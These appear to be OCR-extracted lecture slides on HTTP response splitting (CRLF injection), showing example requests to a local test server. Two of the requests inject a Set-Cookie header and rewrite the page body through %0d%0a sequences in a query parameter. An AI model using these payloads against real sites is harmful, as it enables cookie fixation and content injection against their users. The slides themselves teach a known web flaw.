HTTP Response Splitting

or CRLF injection



WTF is "CRLF"?

Typical HTTP request:

CR - Carriage Return
LF - Line Feed

CRLF means end-of-line in HTTP packets
CRLF in bytes - %0d%0a or \r\n



WTF is "CRLF"?

Typical HTTP response:

CR - Carriage Return
LF - Line Feed

CRLF means end-of-line in HTTP packets
CRLF in bytes - %0d%0a or \r\n



WTF is "CRLF"?

What if we can inject in HTTP headers?

|




WTF is "CRLF"/

Modity headers as you wish, add new header, for example:

GET /?content_type=text/html%0d%0aSet-Cookie: a=b; HTTP/1.1
Host: 127.0.0.1:8081 \

[CRLF]

|

HTTP/1.0 200 OK
Server: BaseHTTP/0.3 Python/2.7.11
Content-type: text/html
Set-Cookie: a=b

<html>




WTF is "CRLF"/

Just add double [CRLF] to rewrite page content!

GET /?content_type=text/html%0d%0a%0d%0a<h1>1<!-- HTTP/1.1
Host: 127.0.0.1:8081 \

[CRLF][CRLF]

HTTP/1.0 200 OK
Server: BaseHTTP/0.3 Python/2.7.11
Content-type: text/html

® http://127.0.0....3Ch1%3E1%3C!--

o
(- 127.0.0.1:8081/?content_type=text/htmI|%0D%0A%0D%0A<h1>1<!--

<h1>1<!--

<html>



